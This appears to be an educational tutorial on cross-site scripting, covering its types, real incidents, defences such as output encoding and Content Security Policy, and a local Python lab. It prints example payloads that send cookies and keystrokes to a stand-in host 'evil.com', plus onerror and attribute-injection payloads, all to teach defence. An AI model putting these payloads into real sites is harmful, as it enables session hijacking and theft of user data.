You need Python 3, a text editor and a web browser —
nothing else, and no internet. The scripts below build small HTML
files on your own machine that you then open from your own disk. Check
Python with python3 --version in a terminal (on Windows,
py --version); any 3.x is fine. If it prints nothing useful, do
Introduction to
Python first — about fifteen minutes.
🔴 Everything here happens in files you create in a folder you choose. That is the only place these payloads belong. Putting an XSS payload into a site you do not own is an attack, not a test, and being able to reach a site is not permission to probe it.
What Is Cross-Site Scripting (XSS)?
Cross-Site Scripting (XSS) is a vulnerability that allows an attacker to inject malicious JavaScript into web pages viewed by other users. When the victim's browser loads the page, it executes the injected script as if it were legitimate code from the website. The browser has no way to know the script was not intended by the site's developers.
XSS is consistently ranked among the top web application vulnerabilities. It appears in the OWASP Top 10 and has been used in attacks against major organizations including social media platforms, email services, and banking applications.
The name comes from the fact that the attack crosses the boundary between sites. An attacker's code runs in the context of the victim site, with access to that site's cookies, session data, and DOM. From the browser's perspective, the malicious script has the same privileges as any other script on that page.
The root cause of XSS is always the same: the application includes untrusted data in its output without proper sanitization or encoding. Any place where user input ends up in a web page is a potential XSS injection point.
Types of XSS Attacks
XSS attacks are classified into three types based on how the malicious script reaches the victim's browser. Understanding each type is essential for building effective defenses.
Stored XSS (Persistent)
In stored XSS, the attacker's malicious script is permanently saved on the target server -- typically in a database, comment field, forum post, or user profile. Every user who views the affected page receives the malicious script as part of the normal page content.
<!-- Attacker submits this as a forum comment -->
Great article! <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
<!-- The server stores it in the database and later renders it -->
<div class="comment">
<p>Great article! <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script></p>
</div>
<!-- Every visitor's browser now executes the script -->
Stored XSS is the most dangerous type because it does not require the attacker to trick users into clicking a link. The malicious payload is served automatically to every visitor. A single stored XSS in a popular forum post could compromise thousands of accounts.
Reflected XSS (Non-Persistent)
In reflected XSS, the malicious script is included in a request to the server (usually in a URL parameter or form field) and immediately reflected back in the response without being stored. The attacker must trick the victim into clicking a crafted link.
<!-- Vulnerable search page at example.com/search -->
<!-- Server-side code (PHP example): -->
<p>Search results for: <?php echo $_GET['q']; ?></p>
<!-- Attacker crafts this URL and sends it to the victim: -->
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
<!-- When the victim clicks the link, the server reflects the script back -->
<p>Search results for: <script>document.location='https://evil.com/steal?c='+document.cookie</script></p>
Reflected XSS requires social engineering to deliver the malicious link to the victim, which limits its reach compared to stored XSS. However, it is extremely common because so many applications reflect user input in their responses.
DOM-Based XSS
DOM-based XSS occurs entirely in the browser. The vulnerability is in client-side
JavaScript code that reads data from an attacker-controllable source (like the URL
fragment or document.referrer) and writes it into the page without
sanitization. The server never sees the malicious payload.
<!-- Vulnerable JavaScript on the page -->
<script>
// Reads the 'name' parameter from the URL hash
var name = location.hash.substring(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name + '!';
</script>
<!-- Attacker sends this URL: -->
https://example.com/page#<img src=x onerror=alert(document.cookie)>
<!-- The JavaScript writes the payload into the DOM -->
<div id="greeting">Hello, <img src=x onerror=alert(document.cookie)>!</div>
Using innerHTML to insert user-controlled data is one of the most
common causes of DOM-based XSS. Always use textContent instead when
you want to display text. textContent treats the input as plain text
and will never execute HTML or scripts.
How XSS Attacks Work in Practice
A simple alert() popup proves a vulnerability exists, but real attacks
go much further. Here is what an attacker can do once they can execute JavaScript in
a victim's browser session.
Session Hijacking
The most common XSS attack steals session cookies. Once the attacker has the victim's session cookie, they can impersonate the victim without knowing their password.
<!-- Steal session cookie and send it to attacker's server -->
<script>
new Image().src = 'https://evil.com/log?cookie=' + encodeURIComponent(document.cookie);
</script>
Keylogging
Injected scripts can capture every keystroke the user types on the page, including passwords, credit card numbers, and private messages.
<script>
document.addEventListener('keypress', function(e) {
fetch('https://evil.com/keys', {
method: 'POST',
body: JSON.stringify({ key: e.key, timestamp: Date.now() })
});
});
</script>
Phishing and Page Manipulation
An attacker can modify the entire page content, replacing the login form with one that sends credentials to the attacker's server. Because the URL still shows the legitimate domain, the victim has no visual indication that something is wrong.
Real-World Impact
XSS vulnerabilities have been exploited in major incidents that affected millions of users. Understanding the real-world scale helps justify the investment in prevention.
- Samy Worm (2005) -- A stored XSS worm on MySpace that added the attacker as a friend and propagated the payload to each victim's profile. It infected over one million accounts in under 24 hours, making it the fastest-spreading worm at the time.
- British Airways (2018) -- Attackers injected malicious JavaScript into the payment page via a supply chain compromise. Approximately 380,000 payment card details were stolen. BA was fined 20 million pounds by the UK ICO.
- eBay (2015-2016) -- Persistent XSS vulnerabilities in eBay listings allowed attackers to inject scripts into product pages, redirecting buyers to phishing sites.
- TweetDeck (2014) -- A stored XSS worm spread through Twitter's TweetDeck application, automatically retweeting itself and affecting over 80,000 users before Twitter shut down TweetDeck temporarily.
If a site is vulnerable to XSS and does not use the HttpOnly
cookie flag, an attacker can steal session cookies and take complete control of
user accounts. Even with HttpOnly cookies, XSS allows attackers to perform actions
as the victim using their active session.
Prevention: Output Encoding
The most effective defense against XSS is output encoding (also called output escaping). The idea is simple: before inserting any untrusted data into HTML, convert special characters into their HTML entity equivalents so the browser treats them as text, not code.
HTML Entity Encoding
<!-- These characters must be encoded when inserting into HTML: -->
& becomes &
< becomes <
> becomes >
" becomes "
' becomes '
<!-- Example: user input is "<script>alert(1)</script>" -->
<!-- Without encoding (VULNERABLE): -->
<p><script>alert(1)</script></p>
<!-- With encoding (SAFE): -->
<p><script>alert(1)</script></p>
<!-- Browser displays: <script>alert(1)</script> as text -->
Context-Aware Encoding
The correct encoding depends on where the data is being inserted. HTML encoding is not sufficient for all contexts.
< > & " ' to their entity forms.
\uXXXX).
encodeURIComponent()). Encode special characters as percent-encoded values.
Framework Auto-Encoding
Modern web frameworks provide automatic output encoding by default. This is the single biggest improvement in XSS prevention over the past decade.
<!-- React: JSX automatically encodes expressions -->
<p>{userInput}</p> <!-- Safe: React encodes userInput -->
<!-- Vue.js: double curly braces auto-encode -->
<p>{{ userInput }}</p> <!-- Safe: Vue encodes userInput -->
<!-- Django templates: auto-encode by default -->
<p>{{ user_input }}</p> <!-- Safe: Django encodes user_input -->
<!-- DANGEROUS: bypassing auto-encoding -->
<div dangerouslySetInnerHTML={{__html: userInput}} /> <!-- React: UNSAFE -->
<p v-html="userInput"></p> <!-- Vue: UNSAFE -->
{{ user_input|safe }} <!-- Django: UNSAFE -->
Methods like dangerouslySetInnerHTML (React), v-html
(Vue), and the |safe filter (Django/Jinja) exist for rare cases where
you genuinely need to render trusted HTML. If the data comes from user input, do not
use these. If you must render user-provided HTML, use a dedicated HTML sanitizer
library like DOMPurify.
Prevention: Content Security Policy
Content Security Policy (CSP) is a powerful HTTP header that acts as a second line of defense against XSS. Even if an attacker finds a way to inject a script tag, CSP can prevent it from executing.
# Strong CSP that blocks most XSS attacks
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';
This policy tells the browser to only execute scripts loaded from your own domain.
Inline scripts (the most common XSS payload) are blocked by default. Even if an
attacker injects <script>alert(1)</script>, the browser
will refuse to run it because inline scripts are not allowed.
Using Nonces for Inline Scripts
If your application needs inline scripts, use a CSP nonce. The server generates a random token for each page load and includes it in both the CSP header and the legitimate script tags. Only scripts with the matching nonce will execute.
<!-- Server generates a unique nonce per request -->
Content-Security-Policy: script-src 'nonce-a1b2c3d4e5f6'
<!-- Legitimate script with matching nonce: RUNS -->
<script nonce="a1b2c3d4e5f6">
console.log('This runs because it has the correct nonce');
</script>
<!-- Injected script without nonce: BLOCKED -->
<script>alert('This is blocked by CSP')</script>
Prevention: Input Validation
Input validation is the third layer of defense. While it should never be your only protection, validating input reduces the attack surface by rejecting obviously malicious data before it enters your system.
Validation Principles
- Allowlisting over blocklisting -- Define what is allowed, not what is forbidden. Blocklists always miss edge cases. If a field should contain a phone number, validate that it only contains digits, spaces, hyphens, and plus signs.
- Validate on the server -- Client-side validation improves UX but provides zero security. An attacker can bypass it trivially by sending requests directly to the server.
- Validate type and format -- Numeric fields should only accept numbers. Email fields should match email format. Dates should parse as valid dates.
- Limit length -- Set reasonable maximum lengths for all input fields. A username does not need to accept 10,000 characters.
# Server-side validation example (Python/Flask)
from markupsafe import escape
@app.route('/search')
def search():
query = request.args.get('q', '')
# Validation: limit length
if len(query) > 200:
return 'Search query too long', 400
# Validation: strip control characters
query = ''.join(c for c in query if c.isprintable())
# Output encoding: escape for HTML context
safe_query = escape(query)
return render_template('results.html', query=safe_query)
There are countless encoding tricks, Unicode bypasses, and context-specific payloads that can evade input filters. Validation is a useful additional layer, but output encoding must always be your primary defense. The OWASP recommendation is: encode on output, validate on input, and use CSP as a safety net.
Testing for XSS
Whether you are a developer testing your own application or learning about web security, knowing how to identify XSS vulnerabilities is a critical skill.
Manual Testing Approach
<b>test</b>. If the text appears bold on the page, the
application is not encoding HTML and is likely vulnerable to XSS.
Automated Tools
- Burp Suite -- Professional web security scanner with an XSS detection module. The Community Edition is free and sufficient for learning.
- OWASP ZAP -- Free, open-source security scanner. Its active scanner automatically tests for reflected and stored XSS.
- Browser Developer Tools -- Use the Console tab to check for CSP violations and the Network tab to inspect how inputs are reflected in responses.
Only test for XSS on applications you own or have explicit written permission to test. Use intentionally vulnerable practice labs like OWASP WebGoat, DVWA (Damn Vulnerable Web Application), or PortSwigger Web Security Academy to develop your skills safely and legally.
Now Do It Yourself: Five Steps
You will build a tiny comment page, watch it run an attacker’s
<script> because it trusted the input, neutralise that with one
function, and then meet the trap that catches people who think escaping is a
single switch. Each script writes an HTML file you open in your own browser.
Every line of HTML shown below was produced by running this exact code on
Python 3.12.
One honest note. The bytes each script writes are captured output — real, reproducible, exactly as printed here. What those bytes then do in a browser (a pop-up appears, or does not) is standard, well-known browser behaviour that was not captured on the machine this page was written on, because launching a browser there was not possible. So: trust the file contents as fact, and open the files yourself to watch the behaviour.
Go: open a terminal, make a folder with mkdir xss-lab and cd xss-lab, and open your text editor.
Do: save these five lines as render.py, then run python3 render.py.
comment = "Great article, thanks!"
page = "<!DOCTYPE html><html><body><h1>Comments</h1><p>" + comment + "</p></body></html>"
open("page.html", "w").write(page)
print(page)
You should see: <!DOCTYPE html><html><body><h1>Comments</h1><p>Great article, thanks!</p></body></html>, and a new page.html in the folder. Open it in your browser: it shows the heading and the comment. So far, honest input, honest page — and the comment is glued straight into the HTML string, which is the entire weakness you are about to exploit.
If not: SyntaxError almost always means a quote is unbalanced in that long string — it uses double quotes, so the pieces inside must not. If page.html does not appear, the script printed but did not write; check that the open(...).write(page) line is present and not indented under anything.
Go: same file.
Do: change only the first line to the payload below, keeping the quotes, then run it again and open (or reload) page.html.
comment = "<script>alert(document.cookie)</script>"
You should see: the printed HTML now ends the paragraph with <p><script>alert(document.cookie)</script></p> — a real, live <script> tag written into your page. Open page.html and the browser runs it: a pop-up appears showing the page’s cookies. Nobody typed a comment — they typed code, and your page ran it. On a real site that alert would instead be a line that quietly ships the visitor’s session cookie to the attacker. That is stored XSS, in nine words of payload.
If not: if the browser shows the literal text <script>alert(document.cookie)</script> instead of running it, you opened an old page.html — re-run the script and hard-reload. Some browsers also refuse a bare alert from a file:// page; open the developer console (F12) and you will see the script did execute.
Go: same folder, new file.
Do: save these six lines as safe.py, keeping the attack payload as the comment, then run python3 safe.py and open the new page.html.
import html
comment = "<script>alert(document.cookie)</script>"
safe = html.escape(comment)
page = "<!DOCTYPE html><html><body><h1>Comments</h1><p>" + safe + "</p></body></html>"
open("page.html", "w").write(page)
print(page)
You should see: the paragraph now reads <p><script>alert(document.cookie)</script></p>. The angle brackets became < and >. Open page.html: the browser now shows the text <script>alert(document.cookie)</script> on the page and runs nothing. html.escape turned four characters that mean something to HTML — < > & " — into their harmless printed forms, so the browser reads the payload as a comment to display, not a tag to obey. This is the fix, and its name is output encoding: encode data the instant it is written into a page.
If not: if the pop-up still appears, you edited render.py instead of running safe.py, or you forgot import html — that raises NameError: name 'html' is not defined. The escaping must happen where the value goes into the page, not earlier when you store it: encode on output, so the same stored comment can be safely placed into HTML, a URL, or JSON, each with its own rules.
Go: same folder, new file.
Do: save these five lines as attr.py and run it. Note the payload has no angle brackets at all.
import html
nickname = "guest onerror=alert(1)"
safe = html.escape(nickname)
page = "<img src=avatar.png alt=" + safe + ">"
open("page.html", "w").write(page)
print(page)
You should see: an img tag whose alt attribute is followed by a second, uninvited one — the printed line ends alt=guest onerror=alert(1) before the closing bracket, and html.escape changed nothing, because the payload contains none of the characters it escapes. The developer dropped the “safe” value into an unquoted attribute, so the space started a brand-new attribute, onerror, that fires when the image fails to load — which avatar.png will, because it does not exist. Escaping the body context was correct in step 3 and useless here. The rule the pop-up teaches: encoding must match the place the data lands.
If not: if you expected the escaping to save you, that expectation is exactly the bug — this is why “we call escape() somewhere” is not a defence. There is nothing to fix in this file; its job is to fail. The fix is the next step.
Go: same folder, new file.
Do: save these five lines as attr_safe.py and run it. The payload now tries to break out of a quoted attribute.
import html
nickname = 'guest" onerror="alert(1)'
safe = html.escape(nickname, quote=True)
page = '<img src="avatar.png" alt="' + safe + '">'
open("page.html", "w").write(page)
print(page)
You should see: the same img tag, but this time the alt value reads guest" onerror="alert(1) — the attacker’s quote came out as " rather than a real ". Two things had to be true together: the value is wrapped in real quotes, and quote=True turned that " into ", so their quote can no longer close yours. The handler is now trapped harmlessly inside the alt text. Either half alone fails: quotes without quote=True lets them break out, and quote=True without quotes around the value leaves step 4’s hole wide open. Context-correct encoding means both, every time.
If not: if you still see a bare onerror= sitting outside the alt="...", one of the two halves is missing — check that the value in the template really is inside double quotes and that the call really says quote=True. In real code you would lean on a template engine that does context-aware encoding for you, precisely so this pairing is not left to memory.
Without scrolling up: in step 4 the payload
guest onerror=alert(1) got through even though the code called
html.escape. Why did escaping not help? Answer: the payload
contained none of the characters html.escape changes, and it
landed in an unquoted attribute where a space alone starts a new one. The
escaping was correct for a different context than the one the value was used
in.
Now do it without the page: the site also drops the
visitor’s name into a snippet of JavaScript:
<script>var user = "NAME";</script>. Explain in one
sentence why HTML escaping is the wrong tool here, and what a payload of
";attackerCode();// would do. Hint: inside a script block,
the browser is not parsing HTML entities — "
would appear literally, and the dangerous character is the quote that closes
the JavaScript string.
Summary
Cross-Site Scripting remains one of the most prevalent and impactful web vulnerabilities. Here is what you learned:
- XSS allows attackers to inject malicious JavaScript that runs in victims' browsers with the same privileges as the legitimate site
- Stored XSS persists on the server and attacks every visitor; Reflected XSS requires a crafted link; DOM-based XSS occurs entirely in client-side code
- XSS enables session hijacking, keylogging, phishing, and full account takeover
- Output encoding is the primary defense -- always encode untrusted data for the correct context (HTML, attribute, JavaScript, URL)
- Content Security Policy acts as a safety net by restricting which scripts the browser will execute
- Input validation is a useful additional layer but must never be relied upon alone
- Modern frameworks provide automatic encoding -- never bypass it without a security review
You now understand how XSS works and how to defend against it. Next, learn about SQL Injection -- another critical injection vulnerability that targets the database layer instead of the browser.